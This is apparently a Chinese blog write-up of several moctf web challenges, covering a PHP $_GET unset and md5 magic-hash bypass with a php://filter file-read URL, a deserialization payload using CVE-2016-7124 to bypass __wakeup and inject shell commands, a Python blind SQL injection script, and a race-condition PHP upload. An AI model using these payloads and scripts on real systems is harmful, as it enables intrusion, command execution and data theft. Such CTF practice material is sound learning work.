写在前面
闲来无事水一下moctf,大半都是抄别人的题解。嘻嘻
火眼金睛
被一堆的奇怪字符串给惊了
冷静其实就是统计出这堆字符串有多少个“moctf
”。恰巧前两天python老师说了count
这个函数。刚刚好用上!
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import requests
url ="http://119.23.73.3:5001/web10/"
mys = requests.session()
myd = mys.get(url).text
a = myd.count("moctf")-1
print a
data = { "answer":a }
url2 = "http://119.23.73.3:5001/web10/work.php"
print mys.post(url2,data=data).content
|
unset
题目给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } }
} if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } }
?>
|
这题有个CVE,在乌云库中可以找到
关键代码部分
1 2 3 4 5 6 7
| foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
|
遍历用POST,GET,COOKIE
方式传入的值,注意if($$_R)
,当$_R
的值为GET的时候,$$_R=$_GET
这样就达到了遍历传入参数的目的。如果$$_GET
的值和$_GET
的值相等则删除掉$$_GET
。假如$_GET=_GET
那么$$_GET=$_GET
,这时候把就会把$_GET
这个超全局变量给删除掉了。导致之后的if($_GET) extract($_GET, EXTR_SKIP);
起不到作用。而且,由于之前的GET被删除了,从而使得后来初始化的GET
绕过了waf
payload如下
1 2 3
| http://119.23.73.3:5101/?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php 同时POST数据 _GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
|
参照大佬的具体分析
1 2 3 4 5 6 7 8 9
| 果我们向1.php?x=1提交一个POST请求 内容为_GET[x]=1
因为?x=1 所以$_GET内容为 array('x'=>'1')
当开始遍历$_POST的时候 $__k是_GET[x] 所以$$__k 就是$_GET[x]也就是array('x'=>'1')
$__v是POST上来的一个数组 内容也是array('x'=>'1')
$$__k == $__v成立所以 我们的超全局变量 $_GET就这么华丽丽的被unset了
|
自己理解一下就是,GET方式
传入了一个x=1
然后POST方式
传入了一个_GET[x]=1
,遍历POST
的时候$$_k=$_GET[x]=1,$_v=1
所以满足于是$_GET
就被删除掉了。
PUBG
扫描发现,index.php.bak和class.php.bak两个备份文件
class.php.bak文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php include 'waf.php'; class sheldon{ public $bag="nothing"; public $weapon="M24"; public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("<center>You lose</center>"); } public function __destruct() { waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('<center>The Air Drop is empty,you lose~</center>'); } } } ?>
|
index.php.bak内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php error_reporting(0); include 'class.php'; if(is_array($_GET)&&count($_GET)>0) { if(isset($_GET["LandIn"])) { $pos=$_GET["LandIn"]; } if($pos==="airport") { die("<center>机场大仙太多,你被打死了~</center>"); } elseif($pos==="school") { echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>'); $pubg=$_GET['pubg']; $p = unserialize($pubg); } elseif($pos==="AFK") { die("<center>由于你长时间没动,掉到海里淹死了~</center"); } else { die("<center>You Lose</center>"); } } ?>
|
也就是说LandIn
值一定是school
然后就是反序列化的利用。由于__wakeup()
函数的初始化使得bag
和
weapon
无法满足得到flag
的需要
CVE:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
先序列化生成
1
| O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
|
然后对象数修改
1
| O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
|
于是就绕过了__wakeup()
,下一步构造一个不存在的函数名使得Get_air_drops($b)
该函数调用失败,从而调用__call($method,$parameters)
.为了使得if(file_exists(".//class$file[0].php"))
条件满足,需要一个存在的文件名用来构造,题目里win.php
应该是个提示。。然后利用&&
进行连接命令进行代码执行。
最终payload
1
| O:7:"sheldon":3:{s:3:"bag";s:24:"win.php && pwd &&php win";s:6:"weapon";s:3:"AWM";}
|
剩下的只要修改一下,找到flag文件的具体位置,cat
一下就能拿到flag
,就不赘述了。
简单注入
无空格盲注,并且过滤了注释符号,例如,#,/**/
,于是利用and‘1
闭合尾部的单引号。空格就利用括号来代替。过滤了<>
无法利用二分法猜解数据库,却留下了一个=
,还是超级长的表名,故意整做题人的耐心?????
最后!再次记录一次,没有空格
和逗号
无法使用limit
情况下,一定记得要用group_concat()
贴上别人的脚本,顺便学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import requests import string urll = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘1" f1 = requests.get(urll) content = f1.content s = string.printable
url = "http://119.23.73.3:5004/?id=1" def getData(url): r = requests.get(url) return r.text def getTables(): tables = ‘‘ for i in range(50): for j in s: url2 = url + "‘and(select(hex(mid(group_concat(table_name)," + str(i+1) + ",1)))from(information_schema.tables)where(table_schema=database()))=‘" + (j).encode(‘hex‘) f = requests.get(url2) text = f.text if ‘Hello‘ in text: tables += j break print tables
|
来不及解释了
首先打开这题的时候,没找到任何信息,仔细看才发现。。。默认访问的是index2.php
试着访问index.php
状态码是302。。。做了一个跳转。。但是提示了一个上传页面。
尝试Filename
写成shell.php
,内容填成<?php phpinfo() ?>
如果上传漏洞存在的话,访问目标网页时要执行的。
得到了上传后文件保存的路径,去访问,却被告知too slow
到此,能够明显的辨别这是一个条件竞争的上传漏洞。只需要利用多线程快速发包并且快速访问就能在文件被删除前访问到。为了做到这点,可以写脚本或者使用BP
,我选择后者。。。为啥?因为不会写脚本。。。。
设置好后疯狂发包。。然后手动疯狂F5刷新浏览器就能拿到flag~
Author:
zhhhy
Permalink:
http://yoursite.com/2018/11/09/moctf/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Solgan:
Do you believe in DESTINY?